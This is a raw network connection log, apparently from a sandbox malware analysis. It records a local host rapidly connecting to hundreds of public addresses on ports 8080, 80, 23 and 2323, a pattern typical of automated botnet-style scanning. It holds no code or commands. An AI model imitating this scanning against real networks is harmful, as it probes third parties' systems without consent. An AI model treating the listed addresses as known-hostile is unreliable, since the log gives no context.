Dec 26, 2023 21:22:48.516992092 CET	45469	8080	192.168.2.23	31.94.254.209
Dec 26, 2023 21:22:48.517000914 CET	45469	8080	192.168.2.23	31.197.77.122
Dec 26, 2023 21:22:48.517004013 CET	45469	8080	192.168.2.23	94.231.137.107
Dec 26, 2023 21:22:48.517007113 CET	45469	8080	192.168.2.23	85.215.195.23
Dec 26, 2023 21:22:48.517023087 CET	45469	8080	192.168.2.23	62.110.64.195
Dec 26, 2023 21:22:48.517035007 CET	45469	8080	192.168.2.23	31.142.204.44
Dec 26, 2023 21:22:48.517035961 CET	45469	8080	192.168.2.23	31.216.102.250
Dec 26, 2023 21:22:48.517051935 CET	45469	8080	192.168.2.23	31.238.18.25
Dec 26, 2023 21:22:48.517052889 CET	45469	8080	192.168.2.23	85.172.102.219
Dec 26, 2023 21:22:48.517079115 CET	45469	8080	192.168.2.23	62.40.190.35
Dec 26, 2023 21:22:48.517092943 CET	45469	8080	192.168.2.23	95.54.170.147
Dec 26, 2023 21:22:48.517095089 CET	45469	8080	192.168.2.23	31.157.166.74
Dec 26, 2023 21:22:48.517102003 CET	45469	8080	192.168.2.23	62.80.205.5
Dec 26, 2023 21:22:48.517105103 CET	45469	8080	192.168.2.23	95.244.32.219
Dec 26, 2023 21:22:48.517113924 CET	45469	8080	192.168.2.23	62.212.31.38
Dec 26, 2023 21:22:48.517121077 CET	45469	8080	192.168.2.23	62.194.116.102
Dec 26, 2023 21:22:48.517137051 CET	45469	8080	192.168.2.23	94.109.148.199
Dec 26, 2023 21:22:48.517143011 CET	45469	8080	192.168.2.23	94.160.50.181
Dec 26, 2023 21:22:48.517153025 CET	45469	8080	192.168.2.23	95.96.36.50
Dec 26, 2023 21:22:48.517163038 CET	45469	8080	192.168.2.23	95.13.197.130
Dec 26, 2023 21:22:48.517163038 CET	45469	8080	192.168.2.23	95.36.100.62
Dec 26, 2023 21:22:48.517164946 CET	45469	8080	192.168.2.23	94.108.29.203
Dec 26, 2023 21:22:48.517184973 CET	45469	8080	192.168.2.23	85.95.95.127
Dec 26, 2023 21:22:48.517184973 CET	45469	8080	192.168.2.23	31.213.110.206
Dec 26, 2023 21:22:48.517190933 CET	45469	8080	192.168.2.23	62.154.157.126
Dec 26, 2023 21:22:48.517204046 CET	45469	8080	192.168.2.23	94.204.228.225
Dec 26, 2023 21:22:48.517215014 CET	45469	8080	192.168.2.23	62.236.246.202
Dec 26, 2023 21:22:48.517221928 CET	45469	8080	192.168.2.23	62.6.186.205
Dec 26, 2023 21:22:48.517224073 CET	45469	8080	192.168.2.23	94.235.63.74
Dec 26, 2023 21:22:48.517227888 CET	45469	8080	192.168.2.23	62.3.237.185
Dec 26, 2023 21:22:48.517246962 CET	45469	8080	192.168.2.23	31.12.97.111
Dec 26, 2023 21:22:48.517251015 CET	45469	8080	192.168.2.23	95.160.96.222
Dec 26, 2023 21:22:48.517254114 CET	45469	8080	192.168.2.23	31.10.124.3
Dec 26, 2023 21:22:48.517262936 CET	45469	8080	192.168.2.23	31.180.131.52
Dec 26, 2023 21:22:48.517271042 CET	45469	8080	192.168.2.23	94.160.126.114
Dec 26, 2023 21:22:48.517282963 CET	45469	8080	192.168.2.23	94.13.170.107
Dec 26, 2023 21:22:48.517292976 CET	45469	8080	192.168.2.23	85.163.30.230
Dec 26, 2023 21:22:48.517299891 CET	45469	8080	192.168.2.23	31.239.86.181
Dec 26, 2023 21:22:48.517314911 CET	45469	8080	192.168.2.23	95.174.242.233
Dec 26, 2023 21:22:48.517330885 CET	45469	8080	192.168.2.23	95.64.11.203
Dec 26, 2023 21:22:48.517348051 CET	45469	8080	192.168.2.23	94.205.173.173
Dec 26, 2023 21:22:48.517352104 CET	45469	8080	192.168.2.23	94.64.81.146
Dec 26, 2023 21:22:48.517354012 CET	45469	8080	192.168.2.23	62.239.208.71
Dec 26, 2023 21:22:48.517354012 CET	45469	8080	192.168.2.23	62.123.132.245
Dec 26, 2023 21:22:48.517370939 CET	45469	8080	192.168.2.23	62.110.38.37
Dec 26, 2023 21:22:48.517375946 CET	45469	8080	192.168.2.23	95.230.198.150
Dec 26, 2023 21:22:48.517379999 CET	45469	8080	192.168.2.23	31.125.232.213
Dec 26, 2023 21:22:48.517395020 CET	45469	8080	192.168.2.23	31.135.137.93
Dec 26, 2023 21:22:48.517400980 CET	45469	8080	192.168.2.23	85.174.24.68
Dec 26, 2023 21:22:48.517401934 CET	45469	8080	192.168.2.23	62.170.139.65
Dec 26, 2023 21:22:48.517400980 CET	45469	8080	192.168.2.23	31.71.3.93
Dec 26, 2023 21:22:48.517416000 CET	45469	8080	192.168.2.23	85.217.1.99
Dec 26, 2023 21:22:48.517430067 CET	45469	8080	192.168.2.23	95.64.139.230
Dec 26, 2023 21:22:48.517430067 CET	45469	8080	192.168.2.23	95.36.224.193
Dec 26, 2023 21:22:48.517443895 CET	45469	8080	192.168.2.23	95.143.119.85
Dec 26, 2023 21:22:48.517446995 CET	45469	8080	192.168.2.23	85.214.83.23
Dec 26, 2023 21:22:48.517466068 CET	45469	8080	192.168.2.23	94.229.96.244
Dec 26, 2023 21:22:48.517482996 CET	45469	8080	192.168.2.23	85.146.100.232
Dec 26, 2023 21:22:48.517487049 CET	45469	8080	192.168.2.23	31.57.134.31
Dec 26, 2023 21:22:48.517492056 CET	45469	8080	192.168.2.23	31.30.72.205
Dec 26, 2023 21:22:48.517504930 CET	45469	8080	192.168.2.23	94.88.94.238
Dec 26, 2023 21:22:48.517508030 CET	45469	8080	192.168.2.23	85.30.153.112
Dec 26, 2023 21:22:48.517520905 CET	45469	8080	192.168.2.23	31.104.218.87
Dec 26, 2023 21:22:48.517534971 CET	45469	8080	192.168.2.23	62.234.146.115
Dec 26, 2023 21:22:48.517537117 CET	45469	8080	192.168.2.23	85.173.61.151
Dec 26, 2023 21:22:48.517540932 CET	45469	8080	192.168.2.23	94.176.230.221
Dec 26, 2023 21:22:48.517544985 CET	45469	8080	192.168.2.23	31.246.47.164
Dec 26, 2023 21:22:48.517651081 CET	45834	8080	192.168.2.23	31.188.184.56
Dec 26, 2023 21:22:48.517651081 CET	45834	8080	192.168.2.23	31.188.184.56
Dec 26, 2023 21:22:48.517672062 CET	45844	8080	192.168.2.23	31.188.184.56
Dec 26, 2023 21:22:48.524790049 CET	8080	52898	62.117.124.122	192.168.2.23
Dec 26, 2023 21:22:48.524832010 CET	52898	8080	192.168.2.23	62.117.124.122
Dec 26, 2023 21:22:48.524936914 CET	52898	8080	192.168.2.23	62.117.124.122
Dec 26, 2023 21:22:48.524936914 CET	52898	8080	192.168.2.23	62.117.124.122
Dec 26, 2023 21:22:48.524951935 CET	52906	8080	192.168.2.23	62.117.124.122
Dec 26, 2023 21:22:48.535448074 CET	8080	33972	94.123.25.220	192.168.2.23
Dec 26, 2023 21:22:48.535496950 CET	33972	8080	192.168.2.23	94.123.25.220
Dec 26, 2023 21:22:48.535599947 CET	33972	8080	192.168.2.23	94.123.25.220
Dec 26, 2023 21:22:48.535614014 CET	33972	8080	192.168.2.23	94.123.25.220
Dec 26, 2023 21:22:48.535633087 CET	33984	8080	192.168.2.23	94.123.25.220
Dec 26, 2023 21:22:48.536319017 CET	8080	54142	95.86.91.231	192.168.2.23
Dec 26, 2023 21:22:48.536360979 CET	54142	8080	192.168.2.23	95.86.91.231
Dec 26, 2023 21:22:48.588912010 CET	8080	57476	94.68.244.56	192.168.2.23
Dec 26, 2023 21:22:48.588953972 CET	57476	8080	192.168.2.23	94.68.244.56
Dec 26, 2023 21:22:48.602948904 CET	8080	57496	94.68.244.56	192.168.2.23
Dec 26, 2023 21:22:48.608181000 CET	80	40082	88.85.89.10	192.168.2.23
Dec 26, 2023 21:22:48.608225107 CET	40082	80	192.168.2.23	88.85.89.10
Dec 26, 2023 21:22:48.608251095 CET	40082	80	192.168.2.23	88.85.89.10
Dec 26, 2023 21:22:48.608273029 CET	45725	80	192.168.2.23	88.231.207.244
Dec 26, 2023 21:22:48.608278990 CET	45725	80	192.168.2.23	88.83.53.152
Dec 26, 2023 21:22:48.608284950 CET	45725	80	192.168.2.23	88.37.254.183
Dec 26, 2023 21:22:48.608293056 CET	45725	80	192.168.2.23	88.148.61.254
Dec 26, 2023 21:22:48.608309031 CET	45725	80	192.168.2.23	88.218.145.182
Dec 26, 2023 21:22:48.608319998 CET	45725	80	192.168.2.23	88.154.5.188
Dec 26, 2023 21:22:48.608319998 CET	45725	80	192.168.2.23	88.27.203.248
Dec 26, 2023 21:22:48.608319044 CET	45725	80	192.168.2.23	88.177.61.117
Dec 26, 2023 21:22:48.608345032 CET	45725	80	192.168.2.23	88.4.220.31
Dec 26, 2023 21:22:48.608345032 CET	45725	80	192.168.2.23	88.18.4.251
Dec 26, 2023 21:22:48.608361959 CET	45725	80	192.168.2.23	88.50.83.135
Dec 26, 2023 21:22:48.608381033 CET	45725	80	192.168.2.23	88.10.239.134
Dec 26, 2023 21:22:48.608397007 CET	45725	80	192.168.2.23	88.112.179.179
Dec 26, 2023 21:22:48.608412981 CET	45725	80	192.168.2.23	88.9.63.8
Dec 26, 2023 21:22:48.608421087 CET	45725	80	192.168.2.23	88.31.200.234
Dec 26, 2023 21:22:48.608436108 CET	45725	80	192.168.2.23	88.27.134.207
Dec 26, 2023 21:22:48.608449936 CET	45725	80	192.168.2.23	88.28.212.136
Dec 26, 2023 21:22:48.608467102 CET	45725	80	192.168.2.23	88.159.52.196
Dec 26, 2023 21:22:48.608472109 CET	45725	80	192.168.2.23	88.58.94.176
Dec 26, 2023 21:22:48.608485937 CET	45725	80	192.168.2.23	88.108.222.58
Dec 26, 2023 21:22:48.608490944 CET	45725	80	192.168.2.23	88.14.83.223
Dec 26, 2023 21:22:48.608504057 CET	45725	80	192.168.2.23	88.163.123.211
Dec 26, 2023 21:22:48.608510017 CET	45725	80	192.168.2.23	88.153.119.197
Dec 26, 2023 21:22:48.608531952 CET	45725	80	192.168.2.23	88.209.126.178
Dec 26, 2023 21:22:48.608544111 CET	45725	80	192.168.2.23	88.41.22.252
Dec 26, 2023 21:22:48.608551979 CET	45725	80	192.168.2.23	88.8.162.178
Dec 26, 2023 21:22:48.608567953 CET	45725	80	192.168.2.23	88.136.246.135
Dec 26, 2023 21:22:48.608576059 CET	45725	80	192.168.2.23	88.148.115.220
Dec 26, 2023 21:22:48.608584881 CET	45725	80	192.168.2.23	88.100.215.215
Dec 26, 2023 21:22:48.608602047 CET	45725	80	192.168.2.23	88.33.55.38
Dec 26, 2023 21:22:48.608613014 CET	45725	80	192.168.2.23	88.152.56.44
Dec 26, 2023 21:22:48.608630896 CET	45725	80	192.168.2.23	88.36.43.192
Dec 26, 2023 21:22:48.608633995 CET	45725	80	192.168.2.23	88.112.155.116
Dec 26, 2023 21:22:48.608653069 CET	45725	80	192.168.2.23	88.246.138.246
Dec 26, 2023 21:22:48.608659983 CET	45725	80	192.168.2.23	88.76.105.140
Dec 26, 2023 21:22:48.608671904 CET	45725	80	192.168.2.23	88.206.37.141
Dec 26, 2023 21:22:48.608678102 CET	45725	80	192.168.2.23	88.44.165.129
Dec 26, 2023 21:22:48.608704090 CET	45725	80	192.168.2.23	88.58.74.226
Dec 26, 2023 21:22:48.608712912 CET	45725	80	192.168.2.23	88.252.148.125
Dec 26, 2023 21:22:48.608728886 CET	45725	80	192.168.2.23	88.255.106.79
Dec 26, 2023 21:22:48.608743906 CET	45725	80	192.168.2.23	88.76.220.162
Dec 26, 2023 21:22:48.608752966 CET	45725	80	192.168.2.23	88.185.115.186
Dec 26, 2023 21:22:48.608772039 CET	45725	80	192.168.2.23	88.179.130.95
Dec 26, 2023 21:22:48.608783007 CET	45725	80	192.168.2.23	88.12.208.188
Dec 26, 2023 21:22:48.608794928 CET	45725	80	192.168.2.23	88.125.165.163
Dec 26, 2023 21:22:48.608824015 CET	45725	80	192.168.2.23	88.84.208.169
Dec 26, 2023 21:22:48.608824015 CET	45725	80	192.168.2.23	88.146.246.64
Dec 26, 2023 21:22:48.608843088 CET	45725	80	192.168.2.23	88.85.162.63
Dec 26, 2023 21:22:48.608855963 CET	45725	80	192.168.2.23	88.209.147.206
Dec 26, 2023 21:22:48.608874083 CET	45725	80	192.168.2.23	88.194.140.39
Dec 26, 2023 21:22:48.608892918 CET	45725	80	192.168.2.23	88.177.251.45
Dec 26, 2023 21:22:48.608902931 CET	45725	80	192.168.2.23	88.58.59.50
Dec 26, 2023 21:22:48.608902931 CET	45725	80	192.168.2.23	88.180.149.48
Dec 26, 2023 21:22:48.608913898 CET	45725	80	192.168.2.23	88.99.102.188
Dec 26, 2023 21:22:48.608932972 CET	45725	80	192.168.2.23	88.73.222.98
Dec 26, 2023 21:22:48.608947992 CET	45725	80	192.168.2.23	88.239.237.144
Dec 26, 2023 21:22:48.608961105 CET	45725	80	192.168.2.23	88.192.46.123
Dec 26, 2023 21:22:48.608980894 CET	45725	80	192.168.2.23	88.208.108.104
Dec 26, 2023 21:22:48.608985901 CET	45725	80	192.168.2.23	88.113.221.207
Dec 26, 2023 21:22:48.608989954 CET	45725	80	192.168.2.23	88.120.219.68
Dec 26, 2023 21:22:48.609005928 CET	45725	80	192.168.2.23	88.234.30.91
Dec 26, 2023 21:22:48.609020948 CET	45725	80	192.168.2.23	88.20.15.105
Dec 26, 2023 21:22:48.609041929 CET	45725	80	192.168.2.23	88.225.207.215
Dec 26, 2023 21:22:48.609057903 CET	45725	80	192.168.2.23	88.169.26.106
Dec 26, 2023 21:22:48.609070063 CET	45725	80	192.168.2.23	88.201.221.220
Dec 26, 2023 21:22:48.609080076 CET	45725	80	192.168.2.23	88.88.228.11
Dec 26, 2023 21:22:48.609086037 CET	45725	80	192.168.2.23	88.214.217.244
Dec 26, 2023 21:22:48.609102011 CET	45725	80	192.168.2.23	88.237.147.53
Dec 26, 2023 21:22:48.609121084 CET	45725	80	192.168.2.23	88.56.150.200
Dec 26, 2023 21:22:48.609128952 CET	45725	80	192.168.2.23	88.90.63.10
Dec 26, 2023 21:22:48.609139919 CET	45725	80	192.168.2.23	88.85.153.26
Dec 26, 2023 21:22:48.609153986 CET	45725	80	192.168.2.23	88.163.85.207
Dec 26, 2023 21:22:48.609159946 CET	45725	80	192.168.2.23	88.160.106.251
Dec 26, 2023 21:22:48.609184980 CET	45725	80	192.168.2.23	88.20.109.239
Dec 26, 2023 21:22:48.609184980 CET	45725	80	192.168.2.23	88.132.222.3
Dec 26, 2023 21:22:48.609201908 CET	45725	80	192.168.2.23	88.194.84.59
Dec 26, 2023 21:22:48.609213114 CET	45725	80	192.168.2.23	88.147.149.221
Dec 26, 2023 21:22:48.609236956 CET	45725	80	192.168.2.23	88.33.144.76
Dec 26, 2023 21:22:48.609253883 CET	45725	80	192.168.2.23	88.123.128.156
Dec 26, 2023 21:22:48.609270096 CET	45725	80	192.168.2.23	88.65.120.77
Dec 26, 2023 21:22:48.609273911 CET	45725	80	192.168.2.23	88.51.252.166
Dec 26, 2023 21:22:48.609282970 CET	45725	80	192.168.2.23	88.227.208.21
Dec 26, 2023 21:22:48.609302998 CET	45725	80	192.168.2.23	88.28.23.6
Dec 26, 2023 21:22:48.609309912 CET	45725	80	192.168.2.23	88.172.197.109
Dec 26, 2023 21:22:48.609323978 CET	45725	80	192.168.2.23	88.219.3.17
Dec 26, 2023 21:22:48.609342098 CET	45725	80	192.168.2.23	88.25.105.189
Dec 26, 2023 21:22:48.609343052 CET	45725	80	192.168.2.23	88.243.38.81
Dec 26, 2023 21:22:48.609360933 CET	45725	80	192.168.2.23	88.234.229.241
Dec 26, 2023 21:22:48.609380960 CET	45725	80	192.168.2.23	88.108.121.35
Dec 26, 2023 21:22:48.609395027 CET	45725	80	192.168.2.23	88.113.176.50
Dec 26, 2023 21:22:48.609411001 CET	45725	80	192.168.2.23	88.97.202.138
Dec 26, 2023 21:22:48.609424114 CET	45725	80	192.168.2.23	88.226.54.57
Dec 26, 2023 21:22:48.609448910 CET	45725	80	192.168.2.23	88.200.237.126
Dec 26, 2023 21:22:48.609466076 CET	45725	80	192.168.2.23	88.248.92.153
Dec 26, 2023 21:22:48.609477043 CET	45725	80	192.168.2.23	88.137.111.102
Dec 26, 2023 21:22:48.609503031 CET	45725	80	192.168.2.23	88.214.126.143
Dec 26, 2023 21:22:48.609507084 CET	45725	80	192.168.2.23	88.15.142.199
Dec 26, 2023 21:22:48.609513998 CET	45725	80	192.168.2.23	88.58.40.108
Dec 26, 2023 21:22:48.609529972 CET	45725	80	192.168.2.23	88.227.139.147
Dec 26, 2023 21:22:48.609540939 CET	45725	80	192.168.2.23	88.188.110.70
Dec 26, 2023 21:22:48.609551907 CET	45725	80	192.168.2.23	88.98.108.68
Dec 26, 2023 21:22:48.609572887 CET	45725	80	192.168.2.23	88.37.43.74
Dec 26, 2023 21:22:48.609577894 CET	45725	80	192.168.2.23	88.88.61.101
Dec 26, 2023 21:22:48.609590054 CET	45725	80	192.168.2.23	88.153.0.187
Dec 26, 2023 21:22:48.609601974 CET	45725	80	192.168.2.23	88.17.21.78
Dec 26, 2023 21:22:48.609622955 CET	45725	80	192.168.2.23	88.156.78.214
Dec 26, 2023 21:22:48.609622955 CET	45725	80	192.168.2.23	88.44.77.231
Dec 26, 2023 21:22:48.609638929 CET	45725	80	192.168.2.23	88.48.26.212
Dec 26, 2023 21:22:48.609668970 CET	45725	80	192.168.2.23	88.37.186.195
Dec 26, 2023 21:22:48.609680891 CET	45725	80	192.168.2.23	88.175.166.161
Dec 26, 2023 21:22:48.609704018 CET	45725	80	192.168.2.23	88.238.86.242
Dec 26, 2023 21:22:48.609714031 CET	45725	80	192.168.2.23	88.87.126.90
Dec 26, 2023 21:22:48.609730959 CET	45725	80	192.168.2.23	88.91.127.77
Dec 26, 2023 21:22:48.609741926 CET	45725	80	192.168.2.23	88.81.129.127
Dec 26, 2023 21:22:48.609749079 CET	45725	80	192.168.2.23	88.235.246.14
Dec 26, 2023 21:22:48.609757900 CET	45725	80	192.168.2.23	88.53.89.241
Dec 26, 2023 21:22:48.609766960 CET	45725	80	192.168.2.23	88.155.162.230
Dec 26, 2023 21:22:48.609791040 CET	45725	80	192.168.2.23	88.140.165.155
Dec 26, 2023 21:22:48.609813929 CET	45725	80	192.168.2.23	88.197.238.44
Dec 26, 2023 21:22:48.609827995 CET	45725	80	192.168.2.23	88.25.35.191
Dec 26, 2023 21:22:48.609843016 CET	45725	80	192.168.2.23	88.84.34.208
Dec 26, 2023 21:22:48.609865904 CET	45725	80	192.168.2.23	88.77.198.160
Dec 26, 2023 21:22:48.609874010 CET	45725	80	192.168.2.23	88.249.144.181
Dec 26, 2023 21:22:48.609884977 CET	45725	80	192.168.2.23	88.127.12.123
Dec 26, 2023 21:22:48.609904051 CET	45725	80	192.168.2.23	88.255.106.21
Dec 26, 2023 21:22:48.609921932 CET	45725	80	192.168.2.23	88.94.23.100
Dec 26, 2023 21:22:48.609937906 CET	45725	80	192.168.2.23	88.91.223.212
Dec 26, 2023 21:22:48.609946966 CET	45725	80	192.168.2.23	88.14.19.42
Dec 26, 2023 21:22:48.609956026 CET	45725	80	192.168.2.23	88.14.83.203
Dec 26, 2023 21:22:48.609963894 CET	45725	80	192.168.2.23	88.151.104.142
Dec 26, 2023 21:22:48.609978914 CET	45725	80	192.168.2.23	88.199.87.103
Dec 26, 2023 21:22:48.609992981 CET	45725	80	192.168.2.23	88.162.177.244
Dec 26, 2023 21:22:48.610002041 CET	45725	80	192.168.2.23	88.195.79.17
Dec 26, 2023 21:22:48.610018969 CET	45725	80	192.168.2.23	88.132.160.14
Dec 26, 2023 21:22:48.610025883 CET	45725	80	192.168.2.23	88.23.42.172
Dec 26, 2023 21:22:48.610043049 CET	45725	80	192.168.2.23	88.203.35.99
Dec 26, 2023 21:22:48.610054970 CET	45725	80	192.168.2.23	88.247.212.138
Dec 26, 2023 21:22:48.610074043 CET	45725	80	192.168.2.23	88.70.109.148
Dec 26, 2023 21:22:48.610086918 CET	45725	80	192.168.2.23	88.183.6.125
Dec 26, 2023 21:22:48.610100985 CET	45725	80	192.168.2.23	88.68.103.36
Dec 26, 2023 21:22:48.610120058 CET	45725	80	192.168.2.23	88.160.141.225
Dec 26, 2023 21:22:48.610122919 CET	45725	80	192.168.2.23	88.215.92.16
Dec 26, 2023 21:22:48.610136986 CET	45725	80	192.168.2.23	88.91.142.162
Dec 26, 2023 21:22:48.610152006 CET	45725	80	192.168.2.23	88.42.72.166
Dec 26, 2023 21:22:48.610165119 CET	45725	80	192.168.2.23	88.149.170.92
Dec 26, 2023 21:22:48.610188007 CET	45725	80	192.168.2.23	88.192.85.152
Dec 26, 2023 21:22:48.610198021 CET	45725	80	192.168.2.23	88.87.149.147
Dec 26, 2023 21:22:48.610217094 CET	45725	80	192.168.2.23	88.226.201.135
Dec 26, 2023 21:22:48.610217094 CET	45725	80	192.168.2.23	88.174.10.254
Dec 26, 2023 21:22:48.610238075 CET	45725	80	192.168.2.23	88.195.92.242
Dec 26, 2023 21:22:48.610253096 CET	45725	80	192.168.2.23	88.22.71.120
Dec 26, 2023 21:22:48.610272884 CET	45725	80	192.168.2.23	88.216.66.72
Dec 26, 2023 21:22:48.610279083 CET	45725	80	192.168.2.23	88.245.187.150
Dec 26, 2023 21:22:48.610301018 CET	45725	80	192.168.2.23	88.61.243.64
Dec 26, 2023 21:22:48.610308886 CET	45725	80	192.168.2.23	88.98.204.194
Dec 26, 2023 21:22:48.610326052 CET	45725	80	192.168.2.23	88.136.52.222
Dec 26, 2023 21:22:48.610344887 CET	45725	80	192.168.2.23	88.134.204.96
Dec 26, 2023 21:22:48.610359907 CET	45725	80	192.168.2.23	88.127.48.141
Dec 26, 2023 21:22:48.610375881 CET	45725	80	192.168.2.23	88.39.51.217
Dec 26, 2023 21:22:48.610388994 CET	45725	80	192.168.2.23	88.160.163.212
Dec 26, 2023 21:22:48.611058950 CET	80	40030	88.85.89.10	192.168.2.23
Dec 26, 2023 21:22:48.613431931 CET	80	40030	88.85.89.10	192.168.2.23
Dec 26, 2023 21:22:48.613466024 CET	80	40030	88.85.89.10	192.168.2.23
Dec 26, 2023 21:22:48.613471985 CET	40030	80	192.168.2.23	88.85.89.10
Dec 26, 2023 21:22:48.613511086 CET	40030	80	192.168.2.23	88.85.89.10
Dec 26, 2023 21:22:48.673566103 CET	8080	45469	95.164.227.87	192.168.2.23
Dec 26, 2023 21:22:48.747909069 CET	80	45725	88.216.66.72	192.168.2.23
Dec 26, 2023 21:22:48.747948885 CET	45725	80	192.168.2.23	88.216.66.72
Dec 26, 2023 21:22:48.767117977 CET	8080	45469	31.148.213.63	192.168.2.23
Dec 26, 2023 21:22:48.779021978 CET	8080	45469	95.67.109.190	192.168.2.23
Dec 26, 2023 21:22:48.779068947 CET	45469	8080	192.168.2.23	95.67.109.190
Dec 26, 2023 21:22:48.787986994 CET	8080	45469	62.162.231.209	192.168.2.23
Dec 26, 2023 21:22:48.790726900 CET	8080	45469	95.161.156.242	192.168.2.23
Dec 26, 2023 21:22:48.793936968 CET	8080	45469	31.202.32.215	192.168.2.23
Dec 26, 2023 21:22:48.798945904 CET	8080	52906	62.117.124.122	192.168.2.23
Dec 26, 2023 21:22:48.798998117 CET	52906	8080	192.168.2.23	62.117.124.122
Dec 26, 2023 21:22:48.799015999 CET	52906	8080	192.168.2.23	62.117.124.122
Dec 26, 2023 21:22:48.802294016 CET	80	60266	112.155.160.2	192.168.2.23
Dec 26, 2023 21:22:48.802341938 CET	60266	80	192.168.2.23	112.155.160.2
Dec 26, 2023 21:22:48.802356005 CET	60266	80	192.168.2.23	112.155.160.2
Dec 26, 2023 21:22:48.803836107 CET	8080	52898	62.117.124.122	192.168.2.23
Dec 26, 2023 21:22:48.804307938 CET	80	60244	112.155.160.2	192.168.2.23
Dec 26, 2023 21:22:48.804338932 CET	80	60244	112.155.160.2	192.168.2.23
Dec 26, 2023 21:22:48.804390907 CET	60244	80	192.168.2.23	112.155.160.2
Dec 26, 2023 21:22:48.804399014 CET	80	60244	112.155.160.2	192.168.2.23
Dec 26, 2023 21:22:48.804452896 CET	60244	80	192.168.2.23	112.155.160.2
Dec 26, 2023 21:22:48.804820061 CET	8080	52898	62.117.124.122	192.168.2.23
Dec 26, 2023 21:22:48.804858923 CET	8080	52898	62.117.124.122	192.168.2.23
Dec 26, 2023 21:22:48.804878950 CET	52898	8080	192.168.2.23	62.117.124.122
Dec 26, 2023 21:22:48.804907084 CET	52898	8080	192.168.2.23	62.117.124.122
Dec 26, 2023 21:22:48.807651043 CET	8080	45469	31.0.139.62	192.168.2.23
Dec 26, 2023 21:22:48.807699919 CET	45469	8080	192.168.2.23	31.0.139.62
Dec 26, 2023 21:22:48.814769983 CET	8080	33984	94.123.25.220	192.168.2.23
Dec 26, 2023 21:22:48.814842939 CET	33984	8080	192.168.2.23	94.123.25.220
Dec 26, 2023 21:22:48.814842939 CET	33984	8080	192.168.2.23	94.123.25.220
Dec 26, 2023 21:22:48.822535038 CET	8080	33972	94.123.25.220	192.168.2.23
Dec 26, 2023 21:22:48.844893932 CET	80	40082	88.85.89.10	192.168.2.23
Dec 26, 2023 21:22:48.844966888 CET	40082	80	192.168.2.23	88.85.89.10
Dec 26, 2023 21:22:48.850316048 CET	80	45725	88.219.3.17	192.168.2.23
Dec 26, 2023 21:22:48.850358963 CET	45725	80	192.168.2.23	88.219.3.17
Dec 26, 2023 21:22:48.862531900 CET	80	45725	88.99.102.188	192.168.2.23
Dec 26, 2023 21:22:48.862591982 CET	45725	80	192.168.2.23	88.99.102.188
Dec 26, 2023 21:22:48.882744074 CET	80	45725	88.201.221.220	192.168.2.23
Dec 26, 2023 21:22:48.892337084 CET	80	45725	88.84.208.169	192.168.2.23
Dec 26, 2023 21:22:48.909646988 CET	80	45725	88.206.37.141	192.168.2.23
Dec 26, 2023 21:22:49.057760954 CET	45834	8080	192.168.2.23	31.188.184.56
Dec 26, 2023 21:22:49.071312904 CET	8080	52906	62.117.124.122	192.168.2.23
Dec 26, 2023 21:22:49.071367979 CET	52906	8080	192.168.2.23	62.117.124.122
Dec 26, 2023 21:22:49.093853951 CET	8080	33984	94.123.25.220	192.168.2.23
Dec 26, 2023 21:22:49.111790895 CET	36253	23	192.168.2.23	114.46.188.162
Dec 26, 2023 21:22:49.111793041 CET	36253	2323	192.168.2.23	172.110.43.12
Dec 26, 2023 21:22:49.111804962 CET	36253	23	192.168.2.23	165.128.21.28
Dec 26, 2023 21:22:49.111805916 CET	36253	23	192.168.2.23	61.80.111.43
Dec 26, 2023 21:22:49.111804962 CET	36253	23	192.168.2.23	205.16.65.178
Dec 26, 2023 21:22:49.111804962 CET	36253	23	192.168.2.23	190.35.131.39
Dec 26, 2023 21:22:49.111805916 CET	36253	23	192.168.2.23	131.27.46.2
Dec 26, 2023 21:22:49.111805916 CET	36253	23	192.168.2.23	205.106.119.140
Dec 26, 2023 21:22:49.111805916 CET	36253	23	192.168.2.23	71.43.130.211
Dec 26, 2023 21:22:49.111815929 CET	36253	23	192.168.2.23	213.91.201.188
Dec 26, 2023 21:22:49.111819983 CET	36253	23	192.168.2.23	219.247.116.23
Dec 26, 2023 21:22:49.111825943 CET	36253	2323	192.168.2.23	19.100.99.76
Dec 26, 2023 21:22:49.111825943 CET	36253	23	192.168.2.23	217.18.179.64
Dec 26, 2023 21:22:49.111829996 CET	36253	23	192.168.2.23	2.86.57.66
Dec 26, 2023 21:22:49.111829996 CET	36253	23	192.168.2.23	42.79.206.202
Dec 26, 2023 21:22:49.111835003 CET	36253	23	192.168.2.23	64.82.117.72
Dec 26, 2023 21:22:49.111835003 CET	36253	23	192.168.2.23	75.89.91.119
Dec 26, 2023 21:22:49.111835957 CET	36253	23	192.168.2.23	222.54.95.70
Dec 26, 2023 21:22:49.111836910 CET	36253	23	192.168.2.23	178.170.181.58
Dec 26, 2023 21:22:49.111835957 CET	36253	23	192.168.2.23	180.116.230.183
Dec 26, 2023 21:22:49.111836910 CET	36253	23	192.168.2.23	154.138.217.6
Dec 26, 2023 21:22:49.111835957 CET	36253	23	192.168.2.23	4.235.48.225
Dec 26, 2023 21:22:49.111839056 CET	36253	2323	192.168.2.23	157.66.133.230
Dec 26, 2023 21:22:49.111839056 CET	36253	23	192.168.2.23	83.199.90.84
Dec 26, 2023 21:22:49.111840963 CET	36253	23	192.168.2.23	79.22.215.82
Dec 26, 2023 21:22:49.111855984 CET	36253	23	192.168.2.23	182.130.138.156
Dec 26, 2023 21:22:49.111857891 CET	36253	23	192.168.2.23	145.24.99.14
Dec 26, 2023 21:22:49.111856937 CET	36253	23	192.168.2.23	36.124.198.166
Dec 26, 2023 21:22:49.111857891 CET	36253	23	192.168.2.23	98.131.220.223
Dec 26, 2023 21:22:49.111856937 CET	36253	23	192.168.2.23	82.202.143.15
Dec 26, 2023 21:22:49.111857891 CET	36253	23	192.168.2.23	134.62.242.113
Dec 26, 2023 21:22:49.111856937 CET	36253	23	192.168.2.23	89.185.26.170
Dec 26, 2023 21:22:49.111862898 CET	36253	23	192.168.2.23	53.249.109.71
Dec 26, 2023 21:22:49.111867905 CET	36253	23	192.168.2.23	178.251.117.133
Dec 26, 2023 21:22:49.111867905 CET	36253	23	192.168.2.23	159.139.150.236
Dec 26, 2023 21:22:49.111869097 CET	36253	23	192.168.2.23	84.102.188.92
Dec 26, 2023 21:22:49.111870050 CET	36253	23	192.168.2.23	35.135.129.60
Dec 26, 2023 21:22:49.111882925 CET	36253	23	192.168.2.23	153.123.172.5
Dec 26, 2023 21:22:49.111885071 CET	36253	2323	192.168.2.23	132.138.83.64
Dec 26, 2023 21:22:49.111885071 CET	36253	23	192.168.2.23	204.69.95.193
Dec 26, 2023 21:22:49.111891985 CET	36253	23	192.168.2.23	134.95.238.85
